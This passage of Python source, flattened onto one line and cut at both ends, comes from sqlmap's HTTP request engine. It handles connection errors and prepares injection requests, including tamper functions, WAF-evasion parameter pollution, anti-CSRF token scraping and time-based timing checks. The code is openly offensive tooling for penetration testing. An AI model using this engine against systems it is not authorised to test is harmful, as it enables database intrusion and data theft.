return Connect.getPage(**kwargs) elif ex.code == _http_client.REQUEST_URI_TOO_LONG: warnMsg = "request URI is marked as too long by the target. " warnMsg += "you are advised to try a switch '--no-cast' and/or '--no-escape'" singleTimeWarnMessage(warnMsg) elif ex.code == _http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) elif ex.code == _http_client.GATEWAY_TIMEOUT: if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, _http_client.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) else: debugMsg = "got HTTP error code: %d ('%s')" % (code, status) logger.debug(debugMsg) except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError): tbMsg = traceback.format_exc() if conf.debug: dataToStdout(tbMsg) if checking: return None, None, None elif "KeyError:" in tbMsg: if "content-length" in tbMsg: return None, None, None else: raise elif "AttributeError:" in tbMsg: if "WSAECONNREFUSED" in tbMsg: return None, None, None else: raise elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) elif any(_ in tbMsg for _ in ("forcibly closed", "Connection is already closed", "ConnectionAbortedError")): warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection timed out to the target URL" elif "Connection reset" in tbMsg: if not conf.disablePrecon: singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") conf.disablePrecon = True if kb.testMode: singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" match = re.search(r"Errno \d+\] ([^>\n]+)", tbMsg) if match: warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" if not conf.agent and not conf.randomAgent: warnMsg += ". Try to force the HTTP User-Agent " warnMsg += "header with option '--user-agent' or switch '--random-agent'" elif "IncompleteRead" in tbMsg: warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) elif "SqlmapCompressionException" in tbMsg: warnMsg = "problems with response (de)compression" retrying = True else: warnMsg = "unable to connect to the target URL" if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" if silent: return None, None, None with kb.locks.connError: kb.connErrorCounter += 1 if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None: message = "there seems to be a continuous problem with connection to the target. " message += "Are you sure that you want to continue? [y/N] " kb.choices.connError = readInput(message, default='N', boolean=True) if kb.choices.connError is False: raise SqlmapSkipTargetException if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead", "Interrupted system call")): return None if not conf.ignoreTimeouts else "", None, None elif threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" if not retrying: warnMsg += "(s)" logger.critical(warnMsg) else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) finally: for function in kb.postprocessFunctions: try: page, responseHeaders, code = function(page, responseHeaders, code) except Exception as ex: errMsg = "error occurred while running postprocess " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if isinstance(page, six.binary_type): if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]): page = six.text_type(page, errors="ignore") else: page = getUnicode(page) for _ in (getattr(conn, "redcode", None), code): if _ is not None and _ in conf.abortCode: errMsg = "aborting due to detected HTTP code '%d'" % _ singleTimeLogMessage(errMsg, logging.CRITICAL) raise SystemExit threadData.lastPage = page threadData.lastCode = code socket.setdefaulttimeout(conf.timeout) # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091) if not sys.version.startswith("3.11."): if conf.retryOn and re.search(conf.retryOn, page, re.I): if threadData.retriesCount < conf.retries: warnMsg = "forced retry of the request because of undesired page content" logger.warning(warnMsg) return Connect._retryProxy(**kwargs) processResponse(page, responseHeaders, code, status) if not skipLogTraffic: if conn and getattr(conn, "redurl", None): _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, conn.code, status) elif "\n" not in responseMsg: responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "".join(getUnicode(responseHeaders.headers)).strip() logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]), start, time.time()) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_READ_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) return page, responseHeaders, code @staticmethod @stackedmethod def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value representing False/True match in case of !getRatioValue """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None if not place: place = kb.injection.place or PLACE.GET kb.place = place if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method postUrlEncode = kb.postUrlEncode value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] or "" if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else "" for _ in headers) or None if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if "urlencoded" in contentType: postUrlEncode = True if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) if not disableTampering and kb.tamperFunctions: for function in kb.tamperFunctions: hints = {} try: payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) except Exception as ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not isinstance(payload, six.string_types): errMsg = "tamper function '%s' returns " % function.__name__ errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) if hints: if HINT.APPEND in hints: value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND]) if HINT.PREPEND in hints: if place == PLACE.URI: match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) if match: value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) else: value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML) and not conf.skipXmlEncode: # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace("&#", SAFE_HEX_MARKER) payload = payload.replace('&', "&").replace('>', ">").replace('<', "<").replace('"', """).replace("'", "'") # Reference: https://stackoverflow.com/a/1091953 payload = payload.replace(SAFE_HEX_MARKER, "&#") elif kb.postHint == POST_HINT.JSON: payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') payload = escapeJsonValue(payload) payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: skip = False if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): if kb.choices.cookieEncode is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 kb.choices.cookieEncode = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) if not kb.choices.cookieEncode: skip = True if not skip: if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) value = urlencode(value, spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search(r"(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value elif place == PLACE.GET: # Note: for (e.g.) checkWaf() when there are no GET parameters get = value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value elif place == PLACE.POST: post = value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if value and place == PLACE.CUSTOM_HEADER: if value.split(',')[0].capitalize() == PLACE.COOKIE: cookie = value.split(',', 1)[-1] else: auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: token = AttribDict() def _adjustParameter(paramString, parameter, newValue): retVal = paramString if urlencode(parameter) in paramString: parameter = urlencode(parameter) match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) if match: retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal for attempt in xrange(conf.csrfRetries + 1): if token: break if attempt > 0: warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, getUnicode(headers), re.I) if not match: match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I) if not match: match = re.search(r"<meta\s+name=[\"']?(?P<name>%s)[\"']?[^>]+\b(value|content)=[\"']?(?P<value>[^>\"']+)" % conf.csrfToken, page or "", re.I) if match: token.name, token.value = match.group("name"), match.group("value") match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) if match: token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: if headers and PLAIN_TEXT_CONTENT_TYPE in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token.name = conf.csrfToken token.value = page if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): for _ in conf.cj: if re.search(conf.csrfToken, _.name, re.I): token.name, token.value = _.name, _.value if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) elif get: get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) else: get = "%s=%s" % (token.name, token.value) break if not token: errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" raise SqlmapTokenException(errMsg) if token: token.value = token.value.strip("'\"") for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: if candidate == PLACE.URI and uri: uri = _adjustParameter(uri, token.name, token.value) elif candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == token.name.lower(): conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value) if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search(r"(\A|\b)%s=(?P<value>[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) else: match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P<value>\w+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] retVal = paramString.replace(match.group(0), "%s%s" % (match.group(2), newValue)) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.URI, PLACE.CUSTOM_POST): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item in (PLACE.POST, PLACE.CUSTOM_POST) and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) elif item == PLACE.URI and uri: uri = _randomizeParameter(uri, randomParameter) if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie} originals = {} if not get and PLACE.URI in conf.parameters: query = _urllib.parse.urlsplit(uri).query or "" else: query = None for item in filterNone((get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value if post and kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): for name, value in (parseJson(post) or {}).items(): if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) variables[name] = value if cookie: for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) name = safeVariableNaming(name) value = urldecode(value, convall=True) variables[name] = value while True: try: compile(getBytes(re.sub(r"\s*;\s*", "\n", conf.evalCode)), "", "exec") except SyntaxError as ex: if ex.text: original = replacement = getUnicode(ex.text.strip()) if '=' in original: name, value = original.split('=', 1) name = name.strip() if safeVariableNaming(name) != name: replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) else: for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: if safeVariableNaming(_) != _: replacement = replacement.replace(_, safeVariableNaming(_)) break if original == replacement: conf.evalCode = conf.evalCode.replace(EVALCODE_ENCODED_PREFIX, "") break else: conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) else: break else: break originals.update(variables) evaluateCode(conf.evalCode, variables) for variable in list(variables.keys()): if unsafeVariableNaming(variable) != variable: entry = variables[variable] del variables[variable] variables[unsafeVariableNaming(variable)] = entry uri = variables["uri"] cookie = variables["cookie"] for name, entry in variables.items(): if name != "__builtins__" and originals.get(name, "") != entry: if isinstance(entry, (int, float, six.string_types, six.binary_type)): found = False entry = getUnicode(entry, UNICODE_ENCODING) if kb.postHint == POST_HINT.MULTIPART: boundary = "--%s" % re.search(r"boundary=([^\s]+)", contentType).group(1) if boundary: parts = post.split(boundary) match = re.search(r'\bname="%s"' % re.escape(name), post) if not match and parts: parts.insert(2, parts[1]) parts[2] = re.sub(r'\bname="[^"]+".*', 'name="%s"' % re.escape(name), parts[2]) for i in xrange(len(parts)): part = parts[i] if re.search(r'\bname="%s"' % re.escape(name), part): match = re.search(r"(?s)\A.+?\r?\n\r?\n", part) if match: found = True first = match.group(0) second = part[len(first):] second = re.sub(r"(?s).+?(\r?\n?\-*\Z)", r"%s\g<1>" % re.escape(entry), second) parts[i] = "%s%s" % (first, second) post = boundary.join(parts) elif kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(</%s)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True post = re.sub(r"(?s)(\b%s>)(.*?)(</[^<]*\b%s>)" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]%s['\"]:" % re.escape(name), post) if match: quote = match.group(0)[0] post = post.replace("\\%s" % quote, BOUNDARY_BACKSLASH_MARKER) match = re.search(r"(%s%s%s:\s*)(\d+|%s[^%s]*%s)" % (quote, re.escape(name), quote, quote, quote, quote), post) if match: found = True post = post.replace(match.group(0), "%s%s" % (match.group(1), entry if entry.isdigit() else "%s%s%s" % (match.group(0)[0], entry, match.group(0)[0]))) post = post.replace(BOUNDARY_BACKSLASH_MARKER, "\\%s" % quote) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True get = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) if not found: if post is not None: if kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): match = re.search(r"['\"]", post) if match: quote = match.group(0) post = re.sub(r"\}\Z", "%s%s}" % (',' if re.search(r"\w", post) else "", "%s%s%s:%s" % (quote, name, quote, entry if entry.isdigit() else "%s%s%s" % (quote, entry, quote))), post) else: post += "%s%s=%s" % (delimiter, name, entry) elif get is not None: get += "%s%s=%s" % (delimiter, name, entry) elif cookie is not None: cookie += "%s%s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, name, entry) if not conf.skipUrlEncode: get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() kb.responseTimes.setdefault(kb.responseTimeMode, []) if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: _ = kb.responseTimePayload.replace(RANDOM_INTEGER_MARKER, str(randomInt(6))).replace(RANDOM_STRING_MARKER, randomStr()) if kb.responseTimePayload else kb.responseTimePayload Connect.queryPage(value=_, content=True, raise404=False) dataToStdout('.') dataToStdout(" (done)\n") elif not kb.testMode: warnMsg = "it is very important to not stress the network connection " warnMsg += "during usage of time-based payloads to prevent potential " warnMsg += "disruptions " singleTimeWarnMessage(warnMsg) if not kb.laggingChecked: kb.laggingChecked = True deviation = stdev(kb.responseTimes[kb.responseTimeMode]) if deviation is not None and deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" logger.critical(warnMsg) if (conf.safeFreq or 0) > 0: kb.queryCounter += 1 if kb.queryCounter % conf.safeFreq == 0: if conf.safeUrl: Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) elif kb.safeReq: Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False try: pushValue(kb.pageCompress) kb.pageCompress = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: try: if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) except ValueError: pass finally: kb.pageCompress = popValue() if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: page, headers, code = None, None, None warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) if not ignoreSecondOrder: if conf.secondUrl: page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): def _(value): if kb.customInjectionMark in (value or ""): if payload is None: value = value.replace(kb.customInjectionMark, "") else: try: value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) except re.error: value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), re.escape(payload), value) return value page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, 